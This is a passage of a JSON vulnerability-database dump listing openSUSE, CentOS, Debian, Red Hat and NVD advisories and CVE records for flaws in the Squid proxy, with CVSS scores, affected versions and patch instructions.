project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.1:\n\n zypper in -t patch openSUSE-2020-623=1", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-11T00:00:00", "type": "suse", "title": "Security update for squid (important)", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12521", "CVE-2019-12528", "CVE-2019-18860", "CVE-2020-11945", "CVE-2020-8517"], "modified": "2020-05-11T00:00:00", "id": "OPENSUSE-SU-2020:0623-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/PKK52WC254R33WBSNPYY4IHIZMYTJYNU/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "centos": [{"lastseen": "2023-12-03T17:01:03", "description": "**CentOS Errata and Security Advisory** CESA-2020:2040\n\n\nSquid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.\n\nSecurity Fix(es):\n\n* squid: improper check for new member in ESIExpression::Evaluate allows for stack buffer overflow (CVE-2019-12519)\n\n* squid: improper access restriction upon Digest Authentication nonce replay could lead to remote code execution (CVE-2020-11945)\n\n* squid: parsing of header Proxy-Authentication leads to memory corruption (CVE-2019-12525)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\n**Merged security bulletin from advisories:**\nhttps://lists.centos.org/pipermail/centos-announce/2020-May/085865.html\n\n**Affected packages:**\nsquid\nsquid-migration-script\nsquid-sysvinit\n\n**Upstream details at:**\nhttps://access.redhat.com/errata/RHSA-2020:2040", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-21T14:55:03", "type": "centos", "title": "squid security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12525", "CVE-2020-11945"], "modified": "2020-05-21T14:55:03", "id": "CESA-2020:2040", "href": "https://lists.centos.org/pipermail/centos-announce/2020-May/085865.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debian": [{"lastseen": "2023-12-04T10:31:28", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4682-1 security@debian.org\nhttps://www.debian.org/security/ Moritz Muehlenhoff\nMay 08, 2020 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : squid\nCVE ID : CVE-2019-12519 CVE-2019-12520 CVE-2019-12521 CVE-2019-12523 \n CVE-2019-12524 CVE-2019-12526 CVE-2019-12528 CVE-2019-18676 \n CVE-2019-18677 CVE-2019-18678 CVE-2019-18679 CVE-2020-8449 \n CVE-2020-8450 CVE-2020-11945\n\nMultiple security issues were discovered in the Squid proxy caching\nserver, which could result in the bypass of security filters, information\ndisclosure, the execution of arbitrary code or denial of service.\n\nFor the stable distribution (buster), these problems have been fixed in\nversion 4.6-1+deb10u2.\n\nWe recommend that you upgrade your squid packages.\n\nFor the detailed security status of squid please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/squid\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-08T19:10:03", "type": "debian", "title": "[SECURITY] [DSA 4682-1] squid security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2020-11945", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-05-08T19:10:03", "id": "DEBIAN:DSA-4682-1:5FB04", "href": "https://lists.debian.org/debian-security-announce/2020/msg00086.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T16:57:04", "description": "- -------------------------------------------------------------------------\nDebian LTS Advisory DLA-2278-1 debian-lts@lists.debian.org\nhttps://www.debian.org/lts/security/ Markus Koschany\nJuly 10, 2020 https://wiki.debian.org/LTS\n- -------------------------------------------------------------------------\n\nPackage : squid3\nVersion : 3.5.23-5+deb9u2\nCVE ID : CVE-2018-19132 CVE-2019-12519 CVE-2019-12520\n CVE-2019-12521 CVE-2019-12523 CVE-2019-12524\n CVE-2019-12525 CVE-2019-12526 CVE-2019-12528\n CVE-2019-12529 CVE-2019-13345 CVE-2019-18676\n CVE-2019-18677 CVE-2019-18678 CVE-2019-18679\n CVE-2019-18860 CVE-2020-8449 CVE-2020-8450\n CVE-2020-11945\nDebian Bug : 950802 931478 950925 912294\n\nIt was found that Squid, a high-performance proxy caching server for\nweb clients, has been affected by multiple security vulnerabilities.\nDue to incorrect input validation and URL request handling it was\npossible to bypass access restrictions for restricted HTTP servers\nand to cause a denial-of-service.\n\nFor Debian 9 stretch, these problems have been fixed in version\n3.5.23-5+deb9u2.\n\nWe recommend that you upgrade your squid3 packages.\n\nFor the detailed security status of squid3 please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/squid3\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-10T21:55:24", "type": "debian", "title": "[SECURITY] [DLA 2278-1] squid3 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-19132", "CVE-2019-12519", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12525", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-11945", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-07-10T21:55:24", "id": "DEBIAN:DLA-2278-1:83AD0", "href": "https://lists.debian.org/debian-lts-announce/2020/07/msg00009.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-10-22T11:20:59", "description": "- -------------------------------------------------------------------------\nDebian LTS Advisory DLA-2278-1 debian-lts@lists.debian.org\nhttps://www.debian.org/lts/security/ Markus Koschany\nJuly 10, 2020 https://wiki.debian.org/LTS\n- -------------------------------------------------------------------------\n\nPackage : squid3\nVersion : 3.5.23-5+deb9u2\nCVE ID : CVE-2018-19132 CVE-2019-12519 CVE-2019-12520\n CVE-2019-12521 CVE-2019-12523 CVE-2019-12524\n CVE-2019-12525 CVE-2019-12526 CVE-2019-12528\n CVE-2019-12529 CVE-2019-13345 CVE-2019-18676\n CVE-2019-18677 CVE-2019-18678 CVE-2019-18679\n CVE-2019-18860 CVE-2020-8449 CVE-2020-8450\n CVE-2020-11945\nDebian Bug : 950802 931478 950925 912294\n\nIt was found that Squid, a high-performance proxy caching server for\nweb clients, has been affected by multiple security vulnerabilities.\nDue to incorrect input validation and URL request handling it was\npossible to bypass access restrictions for restricted HTTP servers\nand to cause a denial-of-service.\n\nFor Debian 9 stretch, these problems have been fixed in version\n3.5.23-5+deb9u2.\n\nWe recommend that you upgrade your squid3 packages.\n\nFor the detailed security status of squid3 please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/squid3\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-10T21:55:24", "type": "debian", "title": "[SECURITY] [DLA 2278-1] squid3 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-19132", "CVE-2019-12519", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12525", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-11945", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-07-10T21:55:24", "id": "DEBIAN:DLA-2278-1:4A30F", "href": "https://lists.debian.org/debian-lts-announce/2020/07/msg00009.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2023-12-03T14:44:44", "description": "An issue was discovered in Squid through 4.7. When Squid is parsing ESI, it keeps the ESI elements in ESIContext. ESIContext contains a buffer for holding a stack of ESIElements. When a new ESIElement is parsed, it is added via addStackElement. addStackElement has a check for the number of elements in this buffer, but it's off by 1, leading to a Heap Overflow of 1 element. The overflow is within the same structure so it can't affect adjacent memory blocks, and thus just leads to a crash while processing.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.9, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-04-15T19:15:00", "type": "cve", "title": "CVE-2019-12521", "cwe": ["CWE-193", "CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12521"], "modified": "2021-07-21T11:39:00", "cpe": ["cpe:/o:canonical:ubuntu_linux:20.04", "cpe:/o:canonical:ubuntu_linux:18.04", "cpe:/o:canonical:ubuntu_linux:19.10", "cpe:/o:debian:debian_linux:9.0", "cpe:/o:opensuse:leap:15.1", "cpe:/a:squid-cache:squid:4.7", "cpe:/o:canonical:ubuntu_linux:16.04", "cpe:/a:squid-cache:squid:5.0.1", "cpe:/a:squid-cache:squid:3.5.28", "cpe:/o:debian:debian_linux:10.0"], "id": "CVE-2019-12521", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-12521", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:19.10:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:4.7:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:3.5.28:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:20.04:*:*:*:lts:*:*:*", "cpe:2.3:o:opensuse:leap:15.1:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:5.0.1:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*", "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*"]}, {"lastseen": "2023-12-03T14:44:43", "description": "An issue was discovered in Squid through 4.7. When handling requests from users, Squid checks its rules to see if the request should be denied. Squid by default comes with rules to block access to the Cache Manager, which serves detailed server information meant for the maintainer. This rule is implemented via url_regex. The handler for url_regex rules URL decodes an incoming request. This allows an attacker to encode their URL to bypass the url_regex check, and gain access to the blocked resource.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-15T19:15:00", "type": "cve", "title": "CVE-2019-12524", "cwe": ["CWE-306"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12524"], "modified": "2021-02-09T16:55:00", "cpe": ["cpe:/o:canonical:ubuntu_linux:18.04", "cpe:/o:debian:debian_linux:9.0", "cpe:/a:squid-cache:squid:4.7", "cpe:/o:canonical:ubuntu_linux:16.04", "cpe:/o:debian:debian_linux:10.0"], "id": "CVE-2019-12524", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-12524", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*", "cpe:2.3:a:squid-cache:squid:4.7:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*", "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*"]}, {"lastseen": "2023-12-03T14:44:42", "description": "An issue was discovered in Squid through 4.7 and 5. When receiving a request, Squid checks its cache to see if it can serve up a response. It does this by making a MD5 hash of the absolute URL of the request. If found, it servers the request. The absolute URL can include the decoded UserInfo (username and password) for certain protocols. This decoded info is prepended to the domain. This allows an attacker to provide a username that has special characters to delimit the domain, and treat the rest of the URL as a path or query string. An attacker could first make a request to their domain using an encoded username, then when a request for the target domain comes in that decodes to the exact URL, it will serve the attacker's HTML instead of the real HTML. On Squid servers that also act as reverse proxies, this allows an attacker to gain access to features that only reverse proxies can use, such as ESI.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-04-15T20:15:00", "type": "cve", "title": "CVE-2019-12520", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520"], "modified": "2021-02-11T14:42:00", "cpe": ["cpe:/o:canonical:ubuntu_linux:18.04", "cpe:/o:debian:debian_linux:9.0", "cpe:/a:squid-cache:squid:4.7", "cpe:/o:canonical:ubuntu_linux:16.04", "cpe:/o:debian:debian_linux:10.0"], "id": "CVE-2019-12520", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-12520", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*", "cpe:2.3:a:squid-cache:squid:4.7:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*", "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*"]}, {"lastseen": "2023-12-03T14:44:45", "description": "An issue was discovered in Squid through 4.7. When handling the tag esi:when when ESI is enabled, Squid calls ESIExpression::Evaluate. This function uses a fixed stack buffer to hold the expression while it's being evaluated. When processing the expression, it could either evaluate the top of the stack, or add a new member to the stack. When adding a new member, there is no check to ensure that the stack won't overflow.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-15T20:15:00", "type": "cve", "title": "CVE-2019-12519", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519"], "modified": "2021-02-11T14:43:00", "cpe": ["cpe:/o:canonical:ubuntu_linux:20.04", "cpe:/o:canonical:ubuntu_linux:18.04", "cpe:/o:canonical:ubuntu_linux:19.10", "cpe:/o:debian:debian_linux:9.0", "cpe:/o:opensuse:leap:15.1", "cpe:/a:squid-cache:squid:5.0.1", "cpe:/o:canonical:ubuntu_linux:16.04", "cpe:/a:squid-cache:squid:4.10", "cpe:/a:squid-cache:squid:3.5.28", "cpe:/o:debian:debian_linux:10.0"], "id": "CVE-2019-12519", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-12519", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:19.10:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*", "cpe:2.3:a:squid-cache:squid:3.5.28:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:20.04:*:*:*:lts:*:*:*", "cpe:2.3:o:opensuse:leap:15.1:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:5.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:4.10:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*"]}, {"lastseen": "2023-12-03T14:58:35", "description": "An issue was discovered in Squid before 5.0.2. A remote attacker can replay a sniffed Digest Authentication nonce to gain access to resources that are otherwise forbidden. This occurs because the attacker can overflow the nonce reference counter (a short integer). Remote code execution may occur if the pooled token credentials are freed (instead of replayed as valid credentials).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-23T15:15:00", "type": "cve", "title": "CVE-2020-11945", "cwe": ["CWE-190"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-11945"], "modified": "2023-11-07T03:15:00", "cpe": ["cpe:/o:debian:debian_linux:10.0", "cpe:/o:fedoraproject:fedora:32", "cpe:/o:canonical:ubuntu_linux:18.04", "cpe:/a:squid-cache:squid:3.5.28", "cpe:/o:debian:debian_linux:9.0", "cpe:/o:fedoraproject:fedora:31", "cpe:/o:canonical:ubuntu_linux:19.10", "cpe:/o:fedoraproject:fedora:30", "cpe:/o:canonical:ubuntu_linux:20.04", "cpe:/o:opensuse:leap:15.1", "cpe:/o:canonical:ubuntu_linux:16.04"], "id": "CVE-2020-11945", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-11945", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:canonical:ubuntu_linux:20.04:*:*:*:lts:*:*:*", "cpe:2.3:o:fedoraproject:fedora:30:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:32:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*", "cpe:2.3:a:squid-cache:squid:3.5.28:*:*:*:*:*:*:*", "cpe:2.3:o:opensuse:leap:15.1:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:19.10:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:31:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*"]}], "redhatcve": [{"lastseen": "2023-12-04T11:42:02", "description": "A flaw was found in squid. The absolute URL of a request can include the decoded UserInfo (username and password) for certain protocols. This decoded info may contain special characters to delimit the domain, and treat the rest of the URL as a path or query string. An attacker could first make a request to their domain using an encoded username, then when a request for the target domain comes in that decodes to the exact URL, it will serve the attacker's HTML instead of the real HTML. On Squid servers that also act as reverse proxies, this allows an attacker to gain access to features that only reverse proxies can use, such as ESI.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-04-24T08:33:39", "type": "redhatcve", "title": "CVE-2019-12520", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520"], "modified": "2023-04-06T05:38:41", "id": "RH:CVE-2019-12520", "href": "https://access.redhat.com/security/cve/cve-2019-12520", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-12-04T11:42:02", "description": "A flaw was found in squid. The Cache Manager for Squid has rules that, by default, block access to anyone other than the maintainer. An attacker, with the ability to send a properly crafted URL, can bypass the url_regex check and gain access to the blocked resource. The highest threat from this vulnerability is to data confidentiality.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": 